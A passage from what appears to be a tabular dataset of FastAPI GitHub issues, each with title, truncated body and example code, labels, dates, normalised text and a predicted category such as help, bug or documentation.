    read_with_orm_mode = getattr(res.__config__, ""read_with_orm_mode"", None)
    if read_with_orm_mode:
        # Let from_orm extract the data from this model instead of converting
        # it now to a dict.
        # Otherwise there's no way to extract lazy data that requires attribute
        # access instead of dict iteration, e.g. lazy relationships.
        return res
```


### Description

I am using FastAPI Users with Beanie ODM.
I noticed that response serialized by FastAPI contains `id` field with `null` value.
I started debugging my code and noticed that FastAPI checks if `orm_mode` is turned on in ... [TRUNCATED]","question,question-migrate",2022-09-03 23:25:55+00:00,2023-02-27 21:50:30+00:00,2,"question,question-migrate",176.9337,possible wrong response serializing with pydantic model first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i am using fastapi users with beanie odm i noticed that response serialized by fastapi contains field with value i started debugging my code and noticed that fastapi checks if is turned on in truncated,help,0.9294
tiangolo/fastapi,1360954480,"pytest routing needs explicit prefix on requests, when prefix is set in APIRouter. Works fine when prefix is added in FastAPI.include_router()","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi.testclient import TestClient
from fastapi import FastAPI, APIRouter


app = FastAPI(
    title='PYTEST PREFIX'
)

router_with_prefix = APIRouter(prefix='/prefix_in_router')
router_without_prefix = APIRouter()


@router_with_prefix.get('/test')
async def router_with_prefix_path_op():
    return 'PREFIX IN APIROUTER', 200


@router_without_prefix.get('/test')
async def router_without_prefix_path_op():
    return 'PREFIX IN INCLUDE ROUTER', 200

app.include_router(
    router_with_prefix
)

app.include_router(
    router_without_prefix,
    prefix='/prefix_in_include'
)


def test_prefix_in_include_router():
... [TRUNCATED]","question,question-migrate",2022-09-03 20:23:15+00:00,2023-02-28 15:42:06+00:00,1,"question,question-migrate",177.8048,pytest routing needs explicit prefix on requests when prefix is set in apirouter works fine when prefix is added in fastapi include router first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from fastapi testclient import testclient from fastapi import fastapi apirouter app fastapi title pytest prefix router with prefix apirouter prefix prefix in router router without prefix apirouter router with prefix get test async def router with prefix path op return prefix in apirouter router without prefix get test async def router without prefix path op return prefix in include router app include router router with prefix app include router router without prefix prefix prefix in include def test prefix in include router truncated,bug,0.9201
tiangolo/fastapi,1360923742,"Application factory pattern is slow because of `include_router`, allow passing top level router `FastAPI(router=router)`","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import time

from fastapi import APIRouter, FastAPI

router = APIRouter()


@router.get(""/"")
async def get_root():
    pass


@router.post(""/"")
async def post_route():
    pass


@router.patch(""/"")
async def patch_route():
    pass


@router.delete(""/"")
async def delete_route():
    pass


def create_app() -> FastAPI:
    app = FastAPI()
    app.include_router(router)
    return app
```


### Description

We are using the [application factory pattern](https://flask.palletsprojects.com/en/2.2.x/patterns/appfactories/) with FastAPI as it allows us not to have the app get configured at import time. This works well for us an... [TRUNCATED]","question,answered,reviewed,question-migrate",2022-09-03 17:41:14+00:00,2023-02-27 21:50:26+00:00,8,"question,answered,reviewed,question-migrate",177.1731,application factory pattern is slow because of allow passing top level router first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description we are using the application factory pattern with fastapi as it allows us not to have the app get configured at import time this works well for us an truncated,help,0.9349
tiangolo/fastapi,1360308211,"Why do FastAPI Insertion queries take Extremely Long (10+mins for 100,000 rows)","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
@router.post('/')
def postStockData(data:List[pydanticModels.StockPrices], raw_db = Depends(get_raw_db)):

  cursor = raw_db[0]
  cnxn = raw_db[1]

  
  SQL = ""INSERT INTO "" + models.StockPricing.__tablename__ + "" VALUES (%s, %s, %s)""
  
  valsToInsert = []
  for row in data:
    rowD = row.dict()
    valsToInsert.append((rowD['date'], rowD['symbol'], rowD['value']))
  cursor.executemany(SQL, valsToInsert)
  cnxn.commit()
```


### Description

The above code takes extremely long to run, so much so that I can not complete it.
I've tested it with SqlAlchemy, as well as a raw connector, as above, and through fastApi they both don't finis... [TRUNCATED]","question,question-migrate",2022-09-02 14:57:48+00:00,2023-02-27 21:50:22+00:00,4,"question,question-migrate",178.2865,why do fastapi insertion queries take extremely long mins for rows first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description the above code takes extremely long to run so much so that i can not complete it i ve tested it with sqlalchemy as well as a raw connector as above and through fastapi they both don t finis truncated,help,0.9366
tiangolo/fastapi,1359969773,"""AttributeError: __pydantic_model__"" when response_model is union","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import typing

import fastapi
import httpx
import pydantic as pydantic
import pytest
from fastapi import FastAPI
from fastapi.encoders import jsonable_encoder
from pydantic import ValidationError
from starlette import status
from starlette.responses import JSONResponse


class ResponseOne(pydantic.BaseModel):
    val: str


class ResponseTwo(pydantic.BaseModel):
    val: str


app = FastAPI()
incorrect_response = {""abc"": ""def""}


@app.exception_handler(ValidationError)
async def validation_exception_handler(request: fastapi.Request, exc: ValidationError):
    return JSONResponse(
        status_code=statu... [TRUNCATED]","question,question-migrate",2022-09-02 09:55:57+00:00,2023-02-27 21:50:18+00:00,6,"question,question-migrate",178.4961,attributeerror pydantic model when response model is union first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python import typing import fastapi import httpx import pydantic as pydantic import pytest from fastapi import fastapi from fastapi encoders import jsonable encoder from pydantic import validationerror from starlette import status from starlette responses import jsonresponse class responseone pydantic basemodel val str class responsetwo pydantic basemodel val str app fastapi incorrect response abc def app exception handler validationerror async def validation exception handler request fastapi request exc validationerror return jsonresponse status code statu truncated,bug,0.9136
tiangolo/fastapi,1359896119,Why fastapi shutdown event doesn't dump my db ?,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Description

I'm deploying an API server (with FastAPI) and a db server (with PostgreSQL) using docker-compose. I defined a shutdown event in the API server:

```
@app.on_event(""shutdown"")
def shutdown_event():
    subprocess.call([""bash"", ""dump_db.sh""])
```
    
The bash script `dump_db.sh` dumps the db in the filesystem of the container that deploys the API server. The dumped file is shared as a volume with the host. So, the host repository that started the containers should get updated dumps on every shutdown of the API server. However, it doesn't happen. Could it be some issue with the shutdown event ? If I understood, it should be triggered whe... [TRUNCATED]","question,question-migrate",2022-09-02 08:50:00+00:00,2023-02-27 21:50:14+00:00,4,"question,question-migrate",178.5418,why fastapi shutdown event doesn t dump my db first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options description i m deploying an api server with fastapi and a db server with postgresql using docker compose i defined a shutdown event in the api server the bash script dumps the db in the filesystem of the container that deploys the api server the dumped file is shared as a volume with the host so the host repository that started the containers should get updated dumps on every shutdown of the api server however it doesn t happen could it be some issue with the shutdown event if i understood it should be triggered whe truncated,help,0.5187
tiangolo/fastapi,1358963353,SQL DB session with middleware: Non effective code,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
# middleware from the docs db example
# https://fastapi.tiangolo.com/tutorial/sql-databases/#alternative-db-session-with-middleware
# paths in repo:
# docs_src/sql_databases/sql_app/alt_main.py
# docs_src/sql_databases/sql_app_py39/alt_main.py
# docs_src/sql_databases/sql_app_py310/alt_main.py

@app.middleware(""http"")
async def db_session_middleware(request: Request, call_next):
    response = Response(""Internal server error"", status_code=500)
    try:
        request.state.db = SessionLocal()
        response = await call_next(request)
    finally:
        request.state.db.close()
    return response
```


### De... [TRUNCATED]","question,question-migrate",2022-09-01 14:42:21+00:00,2023-02-28 15:42:03+00:00,1,"question,question-migrate",180.0415,sql db session with middleware non effective code first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code de truncated,help,0.9294
tiangolo/fastapi,1358781488,"Cookies Received, but doesn't stored inside the browser ","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [x] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

### Description

tldr; get responses back from cookies, but it doesn't stored on the application, and still able to send it on every request.

I have a frontend framework with axios to communicate with backend fastapi. At first, cookies are set when tested with swagger UI. 
![image](https://user-images.githubusercontent.com/96673241/187909760-9b4476ee-b5ed-481a-8e64-7f2956f649f2.png)

but, when requesting with axios from frontend, it show me an error, so I followed the instruction from this issues[https://github.com/tiangolo/fastapi/issues/3267](url)

and now, I can get the responses but instead of getting cookies in browser, I only r... [TRUNCATED]","question,question-migrate",2022-09-01 12:37:50+00:00,2023-02-27 21:50:09+00:00,8,"question,question-migrate",179.3836,cookies received but doesn t stored inside the browser first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description tldr get responses back from cookies but it doesn t stored on the application and still able to send it on every request i have a frontend framework with axios to communicate with backend fastapi at first cookies are set when tested with swagger ui image but when requesting with axios from frontend it show me an error so i followed the instruction from this issues and now i can get the responses but instead of getting cookies in browser i only r truncated,help,0.8271
tiangolo/fastapi,1357862141,"Working on switching a service from FlaskAPI to FastAPI. The FlaskAPI document uses swag_from to import the swagger UI from a yml file, but I can't find a simple way to do this in FastAPI. Is there a simple way?","### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
#tried the below solution already
from fastapi.openapi.utils import get_openapi

def getrsvp_openapi():
          openapi_data = router.openapi()
    # Change ""openapi.json"" to desired filename
    with open(""get_rsvp_challenge.yml"", ""w"") as file:
        json.dump(openapi_data, file)

#below is the code in flaskapi

from flasgger import swag_from

    @swag_from('folder/filename.yml')
```


### Description

I assumed that there would be a quick replacement for swag_from in fast API but am unable to find one, and most of the documentation I found doesn't show .yml examples.

### Operating System

macOS

### Operating System Details

_No ... [TRUNCATED]","question,question-migrate",2022-08-31 20:56:40+00:00,2023-02-27 21:50:06+00:00,0,"question,question-migrate",180.0371,working on switching a service from flaskapi to fastapi the flaskapi document uses swag from to import the swagger ui from a yml file but i can t find a simple way to do this in fastapi is there a simple way first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description i assumed that there would be a quick replacement for swag from in fast api but am unable to find one and most of the documentation i found doesn t show yml examples macos details no truncated,documentation,0.9313
tiangolo/fastapi,1357458828,Regression in OpenAPI related checks during `app.include_router(router)`,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union

from fastapi import FastAPI, APIRouter
from fastapi.responses import FileResponse
from pydantic import BaseModel


class Item(BaseModel):
    id: str
    value: str


responses = {
    404: {""description"": ""Item not found""},
    302: {""description"": ""The item was moved""},
    403: {""description"": ""Not enough privileges""},
    ""5XX"": {""description"": ""Server errors"", ""model"": Item},
}


app = FastAPI(responses=responses)
router = APIRouter()

@router.get(
    ""/items/{item_id}"",
    response_model=Item,
)
async def read_item(item_id: str, img: Union[bool, None] = None):
    if img:
        return F... [TRUNCATED]","question,question-migrate",2022-08-31 14:53:36+00:00,2023-02-28 15:42:01+00:00,2,"question,question-migrate",181.0336,regression in openapi related checks during first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code python from typing import union from fastapi import fastapi apirouter from fastapi responses import fileresponse from pydantic import basemodel class item basemodel id str value str responses description item not found description the item was moved description not enough privileges xx description server errors model item app fastapi responses responses router apirouter router get items item id response model item async def read item item id str img union bool none none if img return f truncated,bug,0.8727
tiangolo/fastapi,1355639437,Fast API RedirectResponse to Azure Blob Storage URL is blocked by CORS,"### First Check

- [ ] I added a very descriptive title to this issue.
- [x] I used the GitHub search to find a similar issue and didn't find it.
- [x] I searched the FastAPI documentation, with the integrated search.
- [x] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [ ] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [ ] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [ ] I commit to help with one of those options 👆

### Example Code

```python
def get_application():
    """"""Function to initialze and return the app""""""
    app = FastAPI(title=settings.server_settings.title,
                  openapi_url=""/openapi.json"")

    app.add_middleware(
        CORSMiddleware,
        allow_origins=[""*""],
        allow_credentials=True,
        allow_methods=[""*""],
        allow_headers=[""*""],
    )
```


### Description

I have a Fast API application and a GET request with a file id. In backend an Azure Blob URL for the file is generated. I want the user to be redirected to that URL (to download the file) when the GET endpoint is accessed. The query works as expected (in the backend I have... [TRUNCATED]","question,question-migrate",2022-08-30 11:47:11+00:00,2023-02-27 21:50:03+00:00,1,"question,question-migrate",181.4187,fast api redirectresponse to azure blob storage url is blocked by cors first check i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui i already checked if it is not related to fastapi but to redoc commit to help i commit to help with one of those options example code description i have a fast api application and a get request with a file id in backend an azure blob url for the file is generated i want the user to be redirected to that url to download the file when the get endpoint is accessed the query works as expected in the backend i have truncated,help,0.9559
tiangolo/fastapi,1355228673,Failed to Run FastAPI-uvicorn+Nginx With Both --uds and --root-path,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
app = FastAPI()
@app.get(""/"")
def hello():
    return {""Hello"": ""World!""}
```


### Description

Hi.  I have problem running FastAPI-uvicorn+Nginx with both `--uds` and `--root-path`.

The code is:

    from fastapi import FastAPI
    app = FastAPI()
    @app.get(""/"")
    def hello():
        return {""Hello"": ""World!""}

With both `--uds` and `--root-path`:

    % uvicorn main:app --uds /tmp/fastapi-test.sock --root-path /api
    INFO:     Started server process [3222669]
    INFO:     Waiting for application startup.
    INFO:     Application startup complete.
    INFO:     Uvicorn running on unix socke... [TRUNCATED]","question,question-migrate",2022-08-30 06:19:38+00:00,2023-02-27 21:50:00+00:00,1,"question,question-migrate",181.6461,failed to run fastapi uvicorn nginx with both uds and root path first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description hi i have problem running fastapi uvicorn nginx with both and the code is from fastapi import fastapi app fastapi app get def hello return hello world with both and uvicorn main app uds tmp fastapi test sock root path api info started server process info waiting for application startup info application startup complete info uvicorn running on unix socke truncated,help,0.7906
tiangolo/fastapi,1354370362,Execution order of dependencies,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
import uvicorn as uvicorn
from fastapi import FastAPI, Depends

app = FastAPI()


def dep1():
    print('1')


def dep2():
    print('2')


@app.get('/test', dependencies=[Depends(dep1), Depends(dep2)])
def test():
    return 'test'


if __name__ == '__main__':
    uvicorn.run(""main:app"", host=""127.0.0.1"", port=8008, reload=True, debug=True)
```


### Description

By running the above code the output is 

```
1
2
```

Is the execution order of dependencies always the declared order? I haven't found anything in the docs regarding the order of the dependencies.

### Operating System

Linux

### Operating System Details

_No r... [TRUNCATED]","question,question-migrate",2022-08-29 14:09:40+00:00,2023-02-27 21:49:55+00:00,8,"question,question-migrate",182.3196,execution order of dependencies first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description by running the above code the output is is the execution order of dependencies always the declared order i haven t found anything in the docs regarding the order of the dependencies linux details no r truncated,help,0.872
tiangolo/fastapi,1354288334,Not able to get desired performance from FastAPI,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from typing import Union
from fastapi import FastAPI
import uvicorn

app = FastAPI()

@app.get(""/"")
def read_root():
    return {""Hello"": ""World""}

@app.get(""/items/{item_id}"")
def read_item(item_id: int, q: Union[str, None] = None):
    return {""item_id"": item_id, ""q"": q}

if __name__ == '__main__':
    uvicorn.run(app, port=8080, host='0.0.0.0')
```


### Description

* Deploy above code on GCP Cloud run
* Invoke GET API from apache JMeter
* 1000 request/sec for 180 sec duration

### Operating System

Windows

### Operating System Details

Intel Core i7, 16GB RAM

### FastAPI Version

0.68.0

### Python Version

3.8

### Additional... [TRUNCATED]","question,investigate,question-migrate",2022-08-29 13:19:37+00:00,2023-02-28 15:41:56+00:00,11,"question,investigate,question-migrate",183.0988,not able to get desired performance from fastapi first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code description deploy above code on gcp cloud run invoke get api from apache jmeter request sec for sec duration windows details intel core i gb ram fastapi version python version additional truncated,help,0.9224
tiangolo/fastapi,1353321075,How t make recursive models.,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
class File(Base):
    __tablename__ = ""files""

    id = Column(Integer, primary_key=True, index=True)
    name = Column(String)
    content = Column(String)
    time_created = Column(DateTime(timezone=True), server_default=func.now())


    parent = relationship(""File"", back_populates=""children"")
    children = relationship(""FileChild"", back_populates=""parent"")


my schema
```graphql
extend type Mutation {
    file(name: String!, content: String, parent_id:Int): String!
}

type File {
    name: String
    children: [File]
}

extend type Query {
    files : [File]
}


```
```


### Description

Hello, I want to do recursiv... [TRUNCATED]","question,question-migrate",2022-08-28 11:10:42+00:00,2023-02-27 21:49:52+00:00,3,"question,question-migrate",183.4439,how t make recursive models first check x i added a very descriptive title to this issue x i used the github search to find a similar issue and didn t find it x i searched the fastapi documentation with the integrated search x i already searched in google how to x in fastapi and didn t find any information x i already read and followed all the tutorial in the docs and didn t find an answer x i already checked if it is not related to fastapi but to pydantic x i already checked if it is not related to fastapi but to swagger ui x i already checked if it is not related to fastapi but to redoc commit to help x i commit to help with one of those options example code graphql extend type mutation file name string content string parent id int string type file name string children file extend type query files file description hello i want to do recursiv truncated,help,0.9455
tiangolo/fastapi,1352445185,CORS error: No 'Access-Control-Allow-Origin' header is present,"### First Check

- [X] I added a very descriptive title to this issue.
- [X] I used the GitHub search to find a similar issue and didn't find it.
- [X] I searched the FastAPI documentation, with the integrated search.
- [X] I already searched in Google ""How to X in FastAPI"" and didn't find any information.
- [X] I already read and followed all the tutorial in the docs and didn't find an answer.
- [X] I already checked if it is not related to FastAPI but to [Pydantic](https://github.com/samuelcolvin/pydantic).
- [X] I already checked if it is not related to FastAPI but to [Swagger UI](https://github.com/swagger-api/swagger-ui).
- [X] I already checked if it is not related to FastAPI but to [ReDoc](https://github.com/Redocly/redoc).

### Commit to Help

- [X] I commit to help with one of those options 👆

### Example Code

```python
from fastapi import FastAPI
from starlette.middleware.cors import CORSMiddleware

app = FastAPI()
app.add_middleware(
    CORSMiddleware,
    allow_origins=[
        ""http://localhost:3000/bar"",
    ],
    allow_credentials=True,
    allow_methods=[""*""],
    allow_headers=[""*""],
)
@app.get(""/get-data"")
def get_data():
    x = {""data"": [""test""]}
    return (x)
```


### Description

WEhn I call the IP in the browser it works fine.

In my React script I get an error
![image](https://user-images.githubusercontent.com/33859801/186944112-4257bb1f-1e37-4908-ada1-f0550c32ccc2.png)

I did add the url to allow origins already

